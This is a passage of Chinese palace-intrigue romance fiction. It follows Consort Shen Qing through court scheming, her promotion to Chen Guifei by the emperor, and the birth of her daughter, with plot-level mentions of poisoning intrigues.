当日浣雲以取镯子的名义折返,实则是等着嫔妃都到皇后宫中請安,指挥太監帶着油壶在宫道上泼油,因早有准备,所以整个过程用的时辰很短,但时运不济,还是被一个太監给看到了。 等到请安结束,浣雲与宣婕妤回到住处,此时光线变亮,主仆俩心弦稍松,这才发现浣雲的裙摆处染了油渍。 请安时,坤宁宫中的人不在少数,难保会有人看见。 而裙摆上有油渍,除了站在一旁盯梢时被不慎被溅到,便只有跌了一跤才会沾上。 以防万一,宣婕妤让浣雲结结实实磕了一下,并若无其事地随身帶着她,浣云也做无事发生的模样,若无人提及此事,就不必说浣云跌倒的事徒惹注意,若有人发现了,浣云腿上的傷便是自证。 宣婕妤其实可以不必帶着浣云来承乾宫,但她太谨慎了,她担心有人发现她早上请安时还带着浣云,来承乾宫却不带,被人多此一嘴提及此事,那她必要说出浣云受傷的事。 可怎么伤,在哪里伤,勢必会让她卷入此事。 之后便跟偏殿发生的场景一般无二。 至于浣云头上的兰花簪,则是宣婕妤以示亲近特意赏给她的,结果却被目睹的太监给牢牢记下。 导致宣婕妤想开脱有宫人与浣云的模样相似,太监指认错了都不能。 再则是李贵嫔,她仗着低位嫔妃去请安时常只带一人,加上何才人是贤妃的心腹,抱着一石二鸟的打算选定了何才人这个倒霉蛋。 正巧那几日何才人没与贤妃一起走,这才被钻了空子。 李家被抄家,亦发现了一些东西。 原来申义在宫外还有一个弟弟,被捏在李家手中,他全家都死絕了,只剩这么一个独苗。 李家以保他弟弟一生荣华富贵作为条件,让申义为李家办事。 而翡翠,与申义是青梅竹马一同入宫,后更是一起使了门路到太子府,与申义多年来相互帮扶,情谊深厚。 贤妃自也收买不动翡翠,后来贤妃赏给翡翠的东西,被翡翠归置起来,就等着被发现的那一日,好祸水东引。 使人假孕的东西是李贵嫔先发现的不必再说。 在供词中,以李贵嫔的能力办不到的事,沈青自动将其放到了德妃身上,这样一分配,显得合理了许多。 然而德妃脱身脱得干净,当日还竭力为李贵嫔说话,表现了一番姐妹情深,后悔自责未能管教好李贵嫔,甚至想代李贵嫔受罚,让宫里的一些嫔妃对德妃唏嘘不已。 现在应该称德妃为李嫔了。 沈青将纸叠上,问:“李嫔现下如何?” 聞喜道:“迁入新居所后就沉寂了下来,大悲后病了一场,太医在慢慢诊治,皇后道李嫔不必再去坤宁宫请安,调养身体最为紧要。” 沈青眼中复杂:“皇后贤惠大度的名声应是传扬开了。” 闻喜小心地看了自家娘娘一眼,见她并不软弱,也并不因与皇后的交情而对此事伤心欲绝,便低头道:“是……” 娘娘明明是皇后的人,皇后也知道李嫔害过娘娘,却还通过帮李嫔来给自己垫名声。 宫中有些人覺得李嫔可憐,是被李家牵连至此,甚至觉得若李家算计的不是淑妃,也不可能如此惨绝。 皇后这样一垂憐李嫔,可不让人觉得李嫔无辜,他们淑妃反倒有些仗勢欺人了。 皇后掌管后宫,不可能不知道有不少人存着这种想法,可她不拿被害死的林贵嫔与何才人告诫众人,偏偏略过此事,将众人的注意力转移到李嫔势弱上。 后宫中淑妃正如日中天,两厢对比,李嫔就成了那个小可怜,仿佛被算计的是李嫔一样。 也不得不让人思量皇后的用意了。 闻喜在心中很为自家娘娘不平。 白桃在一旁亦皱着眉。 沈青倒是在想,皇后会不会给李嫔下那种神不知鬼不觉就让人病死的药。 李嫔有三皇子,即便伤心过度,也会让自己立起来,毕竟三皇子年幼聪慧,又稳稳压过大皇子。 她们这种疑心病重的人,觉得谁都要害自己,甚至以己度人。 李嫔曾让二皇子病过一段时间,大约也猜想着皇后会让三皇子发生意外,从而推大皇子登上储君之位。 就是不知皇后与李嫔谁更技高一筹了。 不过这一切都跟沈青没什么关系。 若李嫔能耐大,自然能从皇后手中活下来。 皇后拿李嫔做高自己的名声,最该恶心的是李嫔才对。 虽说一举两得,让她这个宠妃的名声也凶恶了些,不过她本就是宠妃,这样还显得名副其实了。 但感谢定不会有了。 在承乾宫将养了这么些日子,沈青难免有些无趣,她不想去找纪宸。 纪宸每次见到他,三句不离小心,俨然把她当成了一个瓷娃娃,甚至親吻都变成了蜻蜓点水。 沈青放下手中的东西,她的腹部已经微微隆起,因身姿仍旧纤细,显得格外明显。 想到自己之后要干什么,她先忍不住笑了出来:“贤妃被禁足,若在这段时间本宫能博得太后的怜惜,贤妃禁闭结束后,就该跳脚了。” 想想还真是期待。 白桃不败兴致,立刻道:“奴婢这就让人准备轿辇,随娘娘去慈宁宫。” 太后与娘娘的关系一直很和平,娘娘怀孕后,太后也终是露出了满意的态度。 娘娘有讨好太后的意思,实在是于娘娘非常有利,若是娘娘常去与太后说话,必能博得孝顺的名声,这样,谁还敢说淑妃仗势欺人? 白桃在心中忍不住赞叹,自家娘娘还是太聪明了! 她都没想到通过讨好太后来解名声有损的困境。 沈青低头,随手取下腰上的玉环交给白桃,往小厨房走去:“本宫亲自煲汤带去才显得有心意。” 若是敷衍,只怕在贤妃气炸之前,她先丢脸了。 十月下旬,天气冷冽,草瘦花残,也正适合饮一碗热气腾腾的汤。 白桃笑着跟上去帮忙,闻喜落后一步。 两人先前的忧愁,早不知飞哪儿去了。 第106章 第106章淑妃十九日 沈青每日早上都会去一趟慈寧宫,因为要给太后准备吃食,便也不可能很早。 而太后,每日也是睡透才会起身,用过早膳,练会儿字,搁笔后刚覺得有些饿,她便知道淑妃要来了。 果然,小宫女笑着走进来,而后加快脚步来到她身邊:“太后娘娘,淑妃娘娘帶着点心来了。” 太后嘴上不说什么,但心里却十分受用,由宫女扶着移了步。 “在瞧什么呢?这么入神。”在讓人将点心擺到桌子上,宫人去通传太后,沈青则支着下巴看着花瓶中擺好的梅枝出神。 听到太后的声音,她站起来,福了福身:“臣妾在瞧红梅,这红梅开的好,摆的也好。” 太后虚抬了一下手,讓她坐下。 “这红梅还是从院子里折的,无甚稀奇,要说稀奇,还得是綠梅……你这样说,香慧就要高兴了,这是香慧特意为本宫折的,也是她亲自插花剪枝。” 太后中间停顿了下,不过后面几句话跟平日的闲聊没什么不同。 沈青知道綠梅,还是曾听藏书阁的老太监提起过,他说先帝的昭贵妃喜歡绿梅,所以先帝特意让人为昭贵妃种下梅林,里面就有不少绿梅。 太后忽然停顿了一下,应是想到了旧人,不管内心是怅然还是什么,都不宜再提起了。 沈青道:“臣妾对梅知之甚少,但还是更喜歡眼前的红梅,更别说这是香慧嬤嬤的一片心意,臣妾都羡慕呢。太后娘娘,今日臣妾给您帶了云片糕,臣妾尝过,口感松软,很是好吃,便惦念着让太后也尝一尝。” 太后闻言舒心,吩咐人给淑妃上一杯红枣枸杞茶,她面前则是一杯浓茶。 “你有孕,也该少入小厨房,想吃什么,吩咐宫人一声就行,莫要操劳。” 沈青笑着道:“臣妾心里有数,其实一些复杂的点心臣妾只是在旁邊看一看,不瞒太后的,臣妾只会煲湯。” 煲湯只需要宫人将食材准备好,她挨个往里放,再让人煲上就行,再亲历亲为,也不过是拿勺子搅一搅,看汤煲的如何。 太后了然,怪不得最开始淑妃送汤送的最多,后来还是她提了此事,才多了宫里宫外的点心。 淑妃太谦逊了,不是她的功劳她是一点都不揽,可想到那几日连着却又变着花样煲的汤,太后心中再次被触动了。 她知道淑妃是亲自下厨,淑妃第一次来便言明了,但当时她雖触动,却没有此时这么深。 淑妃一日复一日的来慈寧宫,没有任何表演痕迹,全是真情流露,再冷脸的人亦会柔了神色。 况且太后本就容易对陪在她身边的人产生好感,并护在羽翼下,譬如蒋美人。 沈青与太后饮茶吃云糕,间或聊些宫里宫外的趣事,皇子们的表现,最后常常是以太后看过她的腹部,叮嘱她小心身子。 沈青一一应下。 从慈宁宫出来,她在外面耽误了一会儿才回到承乾宫。 却没想到纪宸居然来了承乾宫。 “皇上早上不是正忙政事吗,怎么有空来了臣妾的承乾宫?” 纪宸握住她的手:“今日无事便想早些过来,陪你小睡一会儿再用午膳。今日从慈宁宫回来怎么晚了一些?” “臣妾没乘轿辇,路上见到亭子,便停下来歇了歇脚。皇上,太后娘娘喜欢红梅?” 沈青随纪宸进入殿内,坐在软榻上,带着些许好奇问。 纪宸想了想,点头:“香慧嬷嬷每次给母后带一支红梅,母后總会很高兴。” 【但是朕将整个梅林都送给母后了,母后想种什么就种什么,母后却只道朕有心了,笑容也并不真心。】 【朕还比不过一个嬷嬷。】 沈青心道,很快纪宸连她都比不过了。 她打定主意每日去慈宁宫,都捎上一支红梅,来哄太后开心。 纪宸酸溜溜道:“青青这么在意母后,都要越过朕了。” 沈青理所应当:“那是因为太后是皇上的母后。” 纪宸自动理解为母后是因为他这才沾光 ,唇角不由弯起。 他问过太医,整日闷在屋内对孕妇也不好,所以沈青多去慈宁宫他哪有拦着的道理。 纪宸輕輕地摸了摸沈青的腹部,满足之后道:“朕陪你睡一会儿,下午朕给你读书。” 沈青亲了他一口便牵着他往床上带了。 雖然说三个月之后胎象稳固,就可以行房事,但纪宸總怕出问题,提都没敢提,只在心里念叨过。 沈青覺得好笑,默默在赌他能忍到几日。 现在天气已经很冷了,就差一场大雪。她的衣裳都有了一圈毛边。 两人将外衣褪下,沈青舒服地倚进纪宸怀里。 纪宸在轻声说话,沈青嗯了两声便没了声音。 纪宸低头,才发现她已经睡着了,他刮了下她的鼻子,还说不受怀孕影响,这哪是不嗜睡,分明比往日都睡得更快更沉了。 果然,他的手摸抚着沈青的脸颊,她也睡得浑然不觉。 纪宸见此默默想,他们该有一个像她的女儿才对。 午后小憩时,女儿睡到他和沈青中间。 父皇母妃的睡相都好,绝不会压住孩子。 下午,纪宸直至离开才给沈青漏了口风,关于他给后宫嫔妃的位份。 沈青最关心的还是兰修容与陈婕妤,对于自己反倒没什么期待感。 她已经是嫔妃之首,再升也升不到哪儿去。 得知兰修容会成为兰妃,陈婕妤会升为贵嫔,成为主位娘娘,沈青便对纪宸夸的停不下来。 什么英明神武,雄韬伟略,好听的话直往纪宸心坎里去。 纪宸不由又透露了些:“朕给你准备了一个封号。” 沈青:“?” 她面上讶异。 她很满意淑妃娘娘,因为淑妃一听就是个美好善良的美人。 纪宸噙着笑继续道:“原本封爱妃为昭仪时朕就为爱妃择了好几个封号,譬如懿、文、婉、姝、柔、静,只是最后没能封成。” “等到封妃时恰好四妃空两个,朕觉得淑字衬你,便封为了淑妃。” “但是之后,没将卿卿封为贵妃一直是朕的遗憾,所以朕决定改製,将贵妃提到皇贵妃与妃位之间,品阶改为侧一品,份例随之提高,不必再严苛依循贵淑德贤四妃的製度。” “贵妃完全凌驾于淑德贤三妃之上。” 原本贵妃虽是四妃之首,但与三妃还得相互见礼,即便只用轻描淡写行个半礼。份例上也与贤妃等三妃没有任何差别。 只能说是名号好听,且是皇上恩宠属意的才能放到这个位置上。 总的来说,没什么大的好处,反而会白白遭人嫉妒。 但纪宸不想这样了,所以他要改制,他要贤妃见到沈青也要完完整整行上一个礼。 沈青惊讶,皇帝确实有更改嫔妃等级制度的权力,但没想到纪宸会这样做。 她的位份应是贵妃了,只是不知道纪宸准备了什么封号,甚至不惜于将贵妃的地位抬高。 沈青目露期待,摇着纪宸的胳膊:“所以皇上给臣妾的封号是什么?” 纪宸懊恼自己藏不住事,耳根悄然飄起一抹红,他若无其事道:“宸,宸贵妃。” 沈青震惊,脱口而出:“皇上,你将你自己送给我了?” 纪宸也震惊地看了她一眼,这是什么虎狼之词? 沈青掩了一下唇,重说道:“皇上,您将您自己送给臣妾了?” 方才她都忘了自称臣妾了。 多么大的疏漏啊! 即便历史上有宸妃这个封号,因宸字与紫微星相关,代表着与帝王紧密相关,获此封号基本伴随着帝王的宠爱与超然地位。 但架不住纪宸名字里有一个宸字啊。 沈青不相信纪宸选这个封号的时候没想到他自己,既然想到了,还敲定了这个称号,这不是闷着骚吗? 纪宸的心扭成了麻花。 他该怎么说,才能说明白他虽考虑过这层意思,但这是隐秘暗含的,微妙的占有欲作祟,他想沈青是他的,封号也与他有关。 他以后每叫一声宸贵妃,都会有种暗爽,似乎下巴都能抬高,人也意气风发了。 但这不是能宣之于口的,一明说,他脸都要烧起来了。 摆在明面上的则是宸字有美好寓意,帝王所钟,无上盛宠。 沈青当得这个字。 而淑妃太轻飄飘了。 沈青眨巴着眼睛,她懂,她太懂纪宸这种心境了。 纪宸无奈叹了口气,纠正道:“选宸字是因为这个封号寓意着至高尊贵,代表朕的特殊恩宠,朕是不愿意委屈了你。” 沈青:“……” 纪宸还是太体面了。 沈青倾身亲了纪宸一口:“臣妾是皇上的。” 纪宸呼吸微窒,心尖酥酥麻麻。 “不论有没有宸字这个封号,臣妾一直都是皇上的,臣妾很喜欢这个封号,这个封号让臣妾觉得皇上将臣妾抱在了怀里,气息包裹着。” “臣妾喜欢皇上这样。” 纪宸脑中像烟花炸开一般,他将沈青抱在怀里:“我实在心悦你。” 沈青回应着:“我也是。” 纪宸没走,晚上留了下来,至于原本回乾清宫要干的事被他挪到了明日。 晚上,两人情难自禁,着实快乐了一把。 第107章 第107章宸贵妃一日 随着月份渐大,沈青身子重了许多,衣裳都需要新製,过个十天半个月,腰部便又紧了。 册封的聖旨下来,不出意外,沈青被封宸贵妃,兰修容被封兰妃,陈婕妤被封陈贵嫔,賜居启祥宫。 除此之外,三皇子由章贵人抚養,章贵人因此被封贵嫔,賜居咸安宫。 章贵嫔入宫时仅是一个小小的才人,但因投靠皇后,如今不仅成了主位娘娘,甚至膝下有了一位皇子。 章贵嫔是皇后的人,按理说皇后该避嫌才是,但后宫嫔妃叫得出名号的不是死了,便是被打入冷宫,亦或者遭了厌弃,如今一细数,能抚養三皇子的也就兰妃、陈贵嫔、楚嫔以及章贵嫔。 兰妃和陈贵嫔不必说,已经明确表明不会抚养三皇子。 至于楚嫔,她是不想蹚这趟混水,楚家和李家反目成仇,她也遭以前的德妃现在的李嫔所疏远,纵使她对三皇子有所怜惜,此时也不会主动揽下此事。 数来数去,这事便落到了章贵嫔手里。 因朝堂上没了李家阻碍,楚嫔的楚家在前朝的势头更猛,这次大封后宫自是没落下她。楚嫔被封昭容,赐居景仁宫。 而剩下的嫔妃,只要不生事不犯错,都按资历往上升了一级。 到现在都安安分分没出头的嫔妃,要么没什么进取心,要么家世低微容貌不打眼,但凡有一项出挑的,都不可能在后宫岌岌无名。 聖旨下达,后宫一片欢欣。 这次册封大典特意选在了沈青身子还不算很重的时候,不过即便如此,她的仪式还是稍微简略了些。 待到众人齐声称为她为宸贵妃,向她行礼,沈青略说了几句,白桃便扶着她到殿内歇息。 沈青想到刚刚见到的几张生面孔,不知不觉间,嫔妃中又起来了一批新人,她们大多是景明元年和景明四年选秀进来的,因起点太低,难见圣颜,高位嫔妃也不願拉拢,有的甚至因位份低鲜少去坤寧宫请安。 然而,眼熟的嫔妃一再消减,宫里又不再进新人,原本晋升无望的嫔妃也纷纷到了贵人、婕妤的位置。 梅婕妤便是一个很好的例子,杜婕妤在时她仅是个才人,后来新人进宫前夕大封后宫被提为美人。 初进宫的嫔妃,年轻貌美,她在美人位份上并未争得恩宠,便沉寂下来,与当时同为美人的馬氏作伴。 之后的两次大封后宫她都榜上有名,如今,梅氏竟成了婕妤。 再来两次,她都能成为一宫之主了,想想都很有奔头。 按照皇上对后宫嫔妃的意思,只要安分守己不触宸贵妃的霉头,加上活的久,便是连妃位也是能盼上一盼的。 再一对比先帝的后宫,先帝不记得的嫔妃,在宝林位份上一直到死都大有人在,哪还有不知足。 梅婕妤与馬婕妤一合计,只道,就算不讨好宸贵妃,也绝不说宸贵妃的坏话。 馬婕妤道:“麻雀还打不过来呢,月例攒一攒,还能攒出一套玉製麻牌,和姐姐妹妹们一起玩钱别提多高兴了,这种日子谁过腻歪了才会去说宸贵妃的小话?” 梅婕妤笑着道:“也是,皇上不来咱们这,但胭脂水粉司饰司可没克扣一点,再好的妆容皇上也司空见惯,还不如让姐妹们来鉴赏。” “头几年,家里看我是个小小的宝林、才人,一点都不在意,除了亲娘 ,一封信也没送进宫过,可我自从成了贵人,家里一下子就热络了起来,我才不想搭理他们呢,如今又成了婕妤,可想而知他们会心热成什么样子。”马婕妤撇了撇嘴道。 “咱们再没有宠,可身處后宫,位份高了,总能说得上几句话,就算不能直达圣听,可也有皇后和宸贵妃啊,怨不得家里看重我了。” 马婕妤与梅婕妤相视一笑,这种自在的日子真过腻了,其中一个就该拉着另一个去冷宫,去浣衣局转一圈,什么毛病都调理好了。 且有一句话她们没说,宫里可一点都不无聊,光这一年,就有两场大戏。 梅婕妤与马婕妤看的叹为观止,那些计谋让她们想破脑袋也想不到,在外出多带几名宫人保护自己之余,不明白皇上那么明显护着宸贵妃,还有人不知死活的要去试上一试。 李家落到如今这个被夷族的地步也是咎由自取。 沈青自是不知道梅婕妤与马婕妤所说所想,但大致能猜到这些嫔妃的想法。 每次她们朝她行礼后,抬眸望向她的眼神,要多水灵有多水灵,没有嫉妒也没有恶意,胆子大的甚至在欣赏她的容貌。 不过换做沈青也会高高兴兴安于现状,毕竟什么都不用干,每月有钱花,有人伺候,有御花园可赏,还有漂亮姐妹聚在一起谈谈琴棋书画,打打牌,若被仗势欺人了,也大可告到皇后那里,两位顶头上司都不是无故愛磋磨人的,皇后为了贤名也会公正对待。 唯一让人受不了的,也只是每日起身去坤寧宫请安。 可跟前面的好處比起来,这点都显得那么微不足道。 同理,沈青对一些嫔妃要干掉她,也表示理解,这类嫔妃大多家世好,样貌好,若没有她,往上爬的会更快,带给家族的利益也会更大。 但胜者为王败者为寇,既要斗,那输了也得願赌服输。 沈青没有被现在和平的后宫迷惑,知道其底下残酷。 坤宁宫。 自皇后知道皇上特意为沈青改了贵妃制度,并以宸字作为封号,便越来越落寞,她扯唇讽刺道:“本宫这个皇后当的真是无趣至極。” 明明沈青如她所愿,扳倒了德妃,让贤妃禁足,可她心里却并不如意。 宸贵妃,她的孩子注定要子凭母贵。 青古将袍子披到皇后身上:“娘娘身为皇后,身份尊贵。” 皇后抓住青古的手:“你可有让人自然落胎的药?” 青古眼睫微颤,笑道:“娘娘不必忧心此事,奴婢已经看过宸贵妃近日的饮食习惯与脉象,她这胎是位小公主无疑,并不会对大皇子造成威胁。且皇上正严防死守宸贵妃这一胎,不好得手不说,还会引来猜忌。” 沈青腹中的胎儿月份还小,她根本无法判断是男是女,可要稳住皇后,她必须得这么说。 无论最后受怎样的责罚。 皇后生出这样的念头,是自寻死路,况且她们了解沈青,沈青不可能不有防备。 虽然沈青不知道她们下过几次手,可沈青知道,她青古擅药理也擅毒,皇后怀孕时中毒还是出自她手。 都是宸贵妃了,怎可能于这事上粗心? 皇后舒了一口气:“当真?” 青古道:“奴婢岂敢骗娘娘?” 皇后旋即皱眉:“尽快将李嫔处理了,本宫不愿再见到她。” 三皇子交由章贵嫔抚养,与落到她手上没什么区别,她有千万种法子将三皇子养废,但前提是,李嫔不能再活着。 青古面色为难,但方才她已经拒绝过一次了,这次再办不成必会吃挂落,于是道了一声是。 皇后挥了挥手。 青古退下,与进来服侍皇后的荠荷擦肩而过。 到了十一月底,今年的第一场大雪终于是落了下来。 番邦给本朝进贡了一种紅果子,食之像火烧,沈青一听,这不就是辣椒么。见过后更确定了,当即央着纪宸将这东西给她。 纪宸道:“紅果子只有一袋,朕让人送到承乾宫,这是夏天才会开的盆栽,愛妃要观赏,怕是失望了。” 沈青笑眯眯将头摇成了拨浪鼓:“不失望不失望,臣妾是要吃。” “臣妾请皇上明日去承乾宫吃烫鍋。” 以纪宸平日的口味想来是極喜欢的。 纪宸一头雾水,爱惜地亲了亲她的嘴唇:“宸贵妃,对自己的嘴巴好一些吧。” 他不愿束缚她,可这东西又怎么能吃呢? 虽进贡了过来,可也只是当个稀罕物,至多送到太医院,交由太医研究。 【贵妃疯了。】 沈青嘴巴撅的能挂油壶,不乐意极了,打包票道:“皇上就瞧好吧。” 她也不再耽误,得了辣椒就折返回承乾宫。 先指挥廚子为自己做了道辣菜解解馋,她是不缺香料这种贵重调料,但跟辣椒的滋味相比还是相差甚远。 接下来才琢磨起明日的火鍋。 火鍋食材好准备,但难在火锅底料,她不会炒,不过在穿越前看过好几个视频,知道这东西大致怎么做,便交给了廚子。 明天先简单请纪宸吃一顿,等她让铁匠打出適合煮火锅的锅,再搞一个大的。 翌日,纪宸如约而至。 沈青让宫人去传膳,待到锅子被端上来,纪宸无甚稀奇。 这不就是火鼎,涮肉用的。 沈青殷勤地将筷子递上:“您嘗嘗,绝不会让您失望,臣妾这个底料让人吃了还想吃,冬天吃滋味最好了。” 她拿起厨子调好的料碟放到两人面前。 纪宸已经闻到了辛辣味,锅里红果子与油料翻滚,他却迟迟未动筷。 沈青见此主动将肉涮进去,待熟透后蘸上料碟,不客气地先尝了一下。 纪宸伸出手,阻止未果。 沈青的嘴巴红润润的,将嫩肉吃下去,心满意足道:“好吃!皇上您也尝尝。” 纪宸重复着沈青的动作涮了一片肉。 第一口他还不太適应,但跟着沈青吃了一口又一口,就逐渐得了滋味。 “好!” 【这滋味奇妙,爱的人极爱,若是将红果当作名贵香料卖给世家富商,国库必会迅速充盈起来,只是如何种是个难题。】 沈青自是惊喜,若是将辣椒在本朝种植起来,她就不缺辣菜吃了。 于是连忙道:“皇上既然觉得好,就让番邦人多种一些吧,只有一袋子没多长时间就用完了。” “只是番邦到底距离太远,若是能让番邦人在本朝种植,就有吃不完的这种红果了。” “番邦如此贫瘠偏僻都能种,本朝地大物博,想来总有适合的土地来种这种香料。” 纪宸笑看她,为了一口吃的,整个人都透着一股聪明伶俐劲儿,积极的厉害。 “朕正有此意,卿卿聪慧,解了朕的难题。” 第108章 第108章宸贵妃二日 辣椒一事被交给了沈家。 听到纪宸的心声,沈青思索了一番,沈秀秀这几年确实涉猎香料,也算有些经验。 不过,虽然有了辣椒,沈青顾忌着肚子里的孩子,并不敢多吃,稍微解馋即止。 因为外面下了雪,沈青便懒得出门。 时间一晃而过。 許是李家的事震慑住了后宫,她没再迎来算计,即便这样,她仍是没有掉以輕心。 过了腊八就是年。 在这期间,李嫔的身子一直不大好,病怏怏的,众人都在猜她会熬到几时,但直至除夕,李嫔仍然活着,甚至出席了除夕宴。 除夕宴上,章贵嫔带着三皇子出现。 三皇子小小年纪便寡言了許多,与章贵嫔保持着不远不近的距离,直至碰到李嫔,才泄露了几分情绪。 李嫔得空与三皇子见了一面。 三皇子有自己的主意,他身邊跟着章贵嫔派来的人,但他毕竟是皇子,又得过皇上夸赞,很輕易便喝退了奴才。 沈青抬眼瞧见这一幕,又去看皇后,果然见皇后沉了脸,便装作若无其事移了视线。 但很快,皇后那邊传来动静,是青古因为一件小事遭了呵斥。 沈青抿唇,心知皇后这是不滿青古没能将事情办好。 可一个大活人,哪是那么好杀的,须得下药让人病死,而非让太医查出是中毒而亡。 沈青眉间闪过几丝烦躁,她太了解皇后,单从她的神情便能看出是虚情假意还是真心实意。 所以纪宸免了她的请安,她也真的没再去坤宁宫。 生怕一点香、一杯茶就着了道。 皇后对别人狠,对自己更狠,若届时皇后和她一起中毒,更狠一点,皇后没了生育能力,誰又能怀疑到皇后身上呢。 沈青不敢赌。 宴上,沈青见到了纪璨,許久不见,小家伙牵着纪珉的手,正耐心对纪珉说着什么,可见被皇后保护的很好。 贤妃也特许在 今天出了长春宫。 沈青忽略掉贤妃的视线,尝了几口纪宸送到她面前的御膳。 待到离席回承乾宫的路上,聞喜发现前面的宫道一片光亮,抬手让人停了轿,快步上前查看,然后折返回来道:“娘娘,前面的宫道上有水结成了冰。” 沈青扶着額头:“返回去,与皇上一起走,另外查一下今日誰经过了这条宫道。” 这几日无雪干燥,宫道上不可能有冰,只能是有人撒了水,天寒地冻,这才结成冰。 今日是除夕,她并不想破坏这样的好日子,败了皇上太后的好兴致,查出来私底下寻个以下犯上的由头处理掉就行了。 聞喜称是。 纪宸见到沈青,是惊喜的。 “怎么不回承乾宫,在这里等着朕?” 沈青笑道:“本来是要回的,可半路上想皇上想的厉害,肚子里的小家伙也在动,便任性地来找皇上了。” “这不叫任性。”纪宸不赞同,揽住她的肩,牵着她的手,并认真的在给肚子中的小家伙打招呼。 沈青抿唇笑他。 纪宸将人直接带回了乾清宫。 翌日,聞喜便将事情查清楚了。 “娘娘,昨日经过那条宫道的只有章贵嫔与三皇子一行人,水是三皇子身邊的奴才误撒的,后来也找人去清理了。” 沈青手指微顿,三皇子身邊的奴才还是之前用惯了的,不曾改变。 她昨天若没什么事,就将此事闹大,定会落得个小题大做,杯弓蛇影的名头。 想想真是不爽:“三皇子身边的奴才叫什么名字?” 闻喜早已将人查的一清二楚:“枇杷,曾是李嫔身边的宫女,后来调给了三皇子,伺候三皇子的起居,三皇子很信任她。” 沈青记得枇杷,当初她是宫女时,枇杷还险些将酸梅汤泼到她身上,对李嫔相当忠心。 自然,昨天也绝不是什么意外- 正月,一應事堆积在岁首,皇后腾不出手处理李嫔。 然而让她没想到的是,皇上居然主动换了三皇子身边的人,重新选了一批老实的宫人,理由也敷衍的很,因刁奴而不亲近章贵嫔这个母妃。 说起章贵嫔,她并没有什么手段,唯一值得称道的也只是识趣。 得了三皇子,章贵嫔也从未插手管教过三皇子,三皇子与她只是表面关系,她也乐于这样,皇后一提三皇子,她便要真情实感大吐苦水。 久而久之,皇后对于章贵嫔也只有恨铁不成钢。 但她平常吩咐的任何事,章贵嫔没有不應的,也以她马首是瞻,称得上尽心尽力。 唯有管教三皇子上,没用了些。 章贵嫔是老实的,但正因她老实,皇上不可能忽然就注意到了她。 恐是谁对皇上说了什么。 皇后找来青玉,让她去查近来关于宸贵妃的事。 宫里能劝动皇上的,只能是宸贵妃- 承乾宫中。 闻喜回来,便到了沈青身边禀报:“娘娘,已经将枇杷安排进了浣衣局,奴才吩咐过了,谁来要人也要不走。” 沈青舒心了:“干得不错,去库房挑一件喜欢的。” 闻喜没有跟他家娘娘客气,当即兴高采烈应下。 沈青是四月中旬生产,现在一月,她的腹部已经很圆润了,站久了腰部会酸胀。 也许是体质好,孕期也没少了锻炼,沈青的不适有,但比起其他怀孕的妇人,她的反应很轻。 就连纪宸也常夸赞她腹中孩子乖巧。 有一回,纪宸正夸着,忽然,沈青的肚子动了一下,像是回应父皇的话,把纪宸激动的跟毛头小子似的。 身子愈发重了,沈青减少了去慈宁宫的次数,闲下来就与兰妃、陈贵嫔一起缝製东西。 沈青面前有两块软绸,一个是水蓝色,一个是白粉色。 肚子越来越大,许是心有灵犀,她对是公主还是皇子有了猜测。 她拿起白粉色那块软绸,开始製作小衣。 兰妃一抬头,便见沈青眉眼温柔,唇边笑容浅浅,正仔细制衣的模样,不由柔了神色。 到了三月,承乾宫便开始为沈青生产做准备,穩婆太医已经留在了承乾宫,奶娘也准备好了。 纪宸日日来着承乾宫,一日不曾落下。 随着生产时间的逼近,沈青没紧张,纪宸倒先紧张起来了。 为了生产順利,即便临近临盆,沈青仍在屋內来回走着,经验丰富的穩婆说这样生起来才会快。 她的胎位很正,每每担心腹中胎儿过于安静时,小家伙就会动一动彰显存在感,然而平常时候却不叫沈青难受。 四月一到,承乾宫的气氛越来越紧张,风声鹤唳,生怕有一点对娘娘不妥。 但小家伙性子实在沉穩,直到四月中小滿那日早上才有了动静。 沈青的羊水一破,就被送进了产房。 因是早上发动,纪宸剛下早朝便听闻了消息,连忙赶到承乾宫,混乱无定地冲进了产房。 太后和皇后都没来,众人不敢拦,一个晃神的功夫,纪宸已经进去了。 产房內,沈青正抿唇保存体力,羊水一破,生产就要不了多久,她額头渗出汗,在忍疼。 穩婆见她知道怎么做,语气也稳定下来。 忽然间,她的手被一雙熟悉、宽大、温暖的手牢牢握住。 纪宸道:“朕在。” 沈青恍惚觉得是不是自己生的太痛,以至于产生了幻觉,纪宸怎么会出现在这里? 他不是在上朝吗? 沈青用手扯了扯纪宸的脸皮,是真人,她这才笑出来,将手放到纪宸包裹着她的那雙手上面。 “皇上,我疼!” 沈青又笑又哭,这时,她身下又是一阵连绵的疼痛。 若是纪宸不来,她会一直稳着到生产结束,可纪宸一出现,她情绪起伏,疼便只想喊出来。 本来不委屈的,他一来,怎么就觉得自己这么忍辱负重呢? 产房外。 太后与皇后已经到了。 听着里面的呼痛声,太后皺眉问:“皇上呢,宸贵妃这么紧要的时候,当皇帝的却不知到哪儿去了。” 这么大一个人杵在这儿却没被发现的钱继:“……太后娘娘,皇上进产房了。” 太后闻言不说话了。 皇后按着手,勉强稳住神态,心中自是许多后悔,她亲手养出了一个隐患……现在她只期盼着,沈青能順利生一位小公主。 兰妃与陈贵嫔到后匆匆行过礼,便焦急地等着消息。 产房中,稳婆已经开始接生:“娘娘,宫口开全,您可以开始用力了!” 沈青听到后将积攒的气力全部使了出来,她按照稳婆的指引,朝着特定方向用力。 她的双手汗涔涔的,脖颈额头一片汗湿。 纪宸顶替了白桃的活,拿帕子一遍遍仔细擦着她身上的汗。 沈青的手指因为用力捏的指骨发白。 她听稳婆不断说着生到哪儿了,心里存着一股劲儿。 终于,一阵轻松袭来,稳婆高兴地惊呼:“生了!是位小公主!” 沈青仍旧疼,但比起剛刚已经好太多了,她双眼明亮,笑着道:“皇上,臣妾就知道是位公主, 臣妾做了件粉色的小衣。” 哇哇啼哭声响在屋内,纪宸的心被分成了两半,一半在沈青身上,一半在女儿身上。 心中动容不已:“爱妃料事如神。” 沈青生产称得上顺利,早上破了羊水,不过一个时辰便生了出来。 比起疼了一天一夜的可好太多了。 稳婆将小公主抱给纪宸,纪宸又将止了哭,脸上还有泪痕的小家伙放到沈青身边。 沈青目光贪婪地看着皺皱巴巴,皮肤粉红,头发乌黑足有半指长的小公主,瞧不出像谁,但绝对不丑。 沈青的心脏宛如泡在温热的泉水中,这是她的孩子,这是她费尽全力生下来的孩子。 她轻轻,满是爱惜地吻了一下孩子的额头。 “皇上,今日是小满,公主的小名就叫小满吧。” 纪宸脸上尽是笑意:“小得盈满,自是好。” 第109章 第109章宸贵妃三日 小满被抱了出去,兰妃与陈贵嬪视线緊緊跟着小满移动,神情歡喜。 